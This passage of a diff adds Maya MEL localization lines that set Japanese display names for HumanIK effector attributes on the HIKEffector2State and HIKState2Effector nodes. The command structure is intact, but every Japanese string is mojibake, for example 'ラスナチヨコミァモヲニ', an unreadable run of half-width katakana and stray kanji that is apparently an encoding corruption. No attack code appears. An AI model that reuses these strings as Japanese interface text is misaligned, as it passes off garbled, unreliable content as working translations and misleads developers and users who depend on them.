"LeftFootExtraFingerEffectorReachR", "ラスナチヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPull", "ラスナチヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorStiffness", "ラスナチヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorGX", "モメスナエヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivot", "モメスナエヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotX", "モメスナエヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotY", "モメスナエヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotZ", "モメスナエヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorReachT", "モメスナエヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorReachR", "モメスナエヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPull", "モメスナエヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorStiffness", "モメスナエヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorGX", "モメスナカヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivot", "モメスナカヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotX", "モメスナカヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotY", "モメスナカヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotZ", "モメスナカヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorReachT", "モメスナカヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorReachR", "モメスナカヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPull", "モメスナカヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorStiffness", "モメスナカヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorGX", "モメスナヨミヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivot", "モメスナヨミヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotX", "モメスナヨミヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotY", "モメスナヨミヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotZ", "モメスナヨミヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorReachT", "モメスナヨミヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorReachR", "モメスナヨミヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPull", "モメスナヨミヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorStiffness", "モメスナヨミヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorGX", "モメスナヒトヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivot", "モメスナヒトヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotX", "モメスナヒトヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotY", "モメスナヒトヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotZ", "モメスナヒトヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorReachT", "モメスナヒトヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorReachR", "モメスナヒトヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPull", "モメスナヒトヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorStiffness", "モメスナヒトヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorGX", "モメスナミ。ヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivot", "モメスナミ。ヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotX", "モメスナミ。ヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotY", "モメスナミ。ヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotZ", "モメスナミ。ヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorReachT", "モメスナミ。ヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorReachR", "モメスナミ。ヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPull", "モメスナミ。ヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorStiffness", "モメスナミ。ヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorGX", "モメスナチヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivot", "モメスナチヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotX", "モメスナチヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotY", "モメスナチヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotZ", "モメスナチヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorReachT", "モメスナチヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorReachR", "モメスナチヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPull", "モメスナチヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorStiffness", "モメスナチヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "leftHandFloorGX", "ラハヨオリー GX" ); +setAttrNiceNameResource( "HIKEffector2State", "rightHandFloorGX", "モメハヨオリー GX" ); +setAttrNiceNameResource( "HIKEffector2State", "leftFootFloorGX", "ラスナオリー GX" ); +setAttrNiceNameResource( "HIKEffector2State", "rightFootFloorGX", "モメスナオリー GX" ); +setAttrNiceNameResource( "HIKEffector2State", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKState2Effector +// +setNodeNiceNameResource( "HIKState2Effector", "HIKState 2Effector" ); +setAttrNiceNameResource( "HIKState2Effector", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKState2Effector", "InputEffectorState", "ハ菠ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorGX", "ナイソミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorGXM", "ナイソミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffset", "ナイソミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetX", "ナイソミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetY", "ナイソミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetZ", "ナイソミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorGX", "ララミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorGXM", "ララミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffset", "ララミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetX", "ララミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetY", "ララミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetZ", "ララミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorGX", "モメラミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorGXM", "モメラミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffset", "モメラミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetX", "モメラミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetY", "モメラミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetZ", "モメラミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorGX", "ラヘミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorGXM", "ラヘミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffset", "ラヘミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetX", "ラヘミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetY", "ラヘミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetZ", "ラヘミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorGX", "モメヘミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorGXM", "モメヘミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffset", "モメヘミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetX", "モメヘミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetY", "モメヘミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetZ", "モメヘミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorGX", "ラマ・ミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorGXM", "ラマ・ミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffset", "ラマ・ミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetX", "ラマ・ミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetY", "ラマ・ミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetZ", "ラマ・ミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorGX", "モメマ・ミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorGXM", "モメマ・ミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffset", "モメマ・ミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetX", "モメマ・ミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetY", "モメマ・ミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetZ", "モメマ・ミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorGX", "ラヨ簟ァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorGXM", "ラヨ簟ァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffset", "ラヨ簟ァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetX", "ラヨ簟ァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetY", "ラヨ簟ァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetZ", "ラヨ簟ァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorGX", "モメヨ簟ァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorGXM", "モメヨ簟ァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffset", "モメヨ簟ァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetX", "モメヨ簟ァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetY", "モメヨ簟ァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetZ", "モメヨ簟ァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorGX", "ミリイソヤュオ耙ァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorGXM", "ミリイソヤュオ耙ァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffset", "ミリイソヤュオ耙ァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetX", "ミリイソヤュオ耙ァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetY", "ミリイソヤュオ耙ァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetZ", "ミリイソヤュオ耙ァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorGX", "ミリイソトゥカヒミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorGXM", "ミリイソトゥカヒミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffset", "ミリイソトゥカヒミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetX", "ミリイソトゥカヒミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetY", "ミリイソトゥカヒミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetZ", "ミリイソトゥカヒミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorGX", "ラスナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorGXM", "ラスナミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffset", "ラスナミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetX", "ラスナミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetY", "ラスナミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetZ", "ラスナミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorGX", "モメスナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorGXM", "モメスナミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffset", "モメスナミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetX", "モメスナミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetY", "モメスナミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetZ", "モメスナミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorGX", "ラシ醪ァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorGXM", "ラシ醪ァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffset", "ラシ醪ァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetX", "ラシ醪ァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetY", "ラシ醪ァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetZ", "ラシ醪ァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorGX", "モメシ醪ァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorGXM", "モメシ醪ァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffset", "モメシ醪ァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetX", "モメシ醪ァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetY", "モメシ醪ァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetZ", "モメシ醪ァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorGX", "ヘキイソミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorGXM", "ヘキイソミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffset", "ヘキイソミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetX", "ヘキイソミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetY", "ヘキイソミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetZ", "ヘキイソミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorGX", "ラナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorGXM", "ラナミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffset", "ラナミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetX", "ラナミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetY", "ラナミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetZ", "ラナミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorGX", "モメナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorGXM", "モメナミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffset", "モメナミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetX", "モメナミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetY", "モメナミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetZ", "モメナミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorGX", "ラハヨミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorGXM", "ラハヨミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffset", "ラハヨミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetX", "ラハヨミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetY", "ラハヨミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetZ", "ラハヨミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorGX", "モメハヨミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorGXM", "モメハヨミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffset", "モメハヨミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetX", "モメハヨミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetY", "モメハヨミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetZ", "モメハヨミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorGX", "ラハヨトエヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorGXM", "ラハヨトエヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffset", "ラハヨトエヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetX", "ラハヨトエヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetY", "ラハヨトエヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetZ", "ラハヨトエヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorGX", "ラハヨハウヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorGXM", "ラハヨハウヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffset", "ラハヨハウヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetX", "ラハヨハウヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetY", "ラハヨハウヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetZ", "ラハヨハウヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorGX", "ラハヨヨミヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorGXM", "ラハヨヨミヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffset", "ラハヨヨミヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetX", "ラハヨヨミヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetY", "ラハヨヨミヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetZ", "ラハヨヨミヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorGX", "ラハヨボテヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorGXM", "ラハヨボテヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffset", "ラハヨボテヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffsetX", "ラハヨボテヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffsetY", "ラハヨボテヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffsetZ", "ラハヨボテヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorGX", "ラハヨミ。ヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorGXM", "ラハヨミ。ヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffset", "ラハヨミ。ヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetX", "ラハヨミ。ヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetY", "ラハヨミ。ヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandPinkyEffectorpivotOffsetZ", "ラハヨミ。ヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorGX", "ラハヨチヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorGXM", "ラハヨチヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffset", "ラハヨチヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetX", "ラハヨチヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetY", "ラハヨチヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandExtraFingerEffectorpivotOffsetZ", "ラハヨチヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorGX", "モメハヨトエヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorGXM", "モメハヨトエヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffset", "モメハヨトエヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetX", "モメハヨトエヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetY", "モメハヨトエヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandThumbEffectorpivotOffsetZ", "モメハヨトエヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorGX", "モメハヨハウヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", 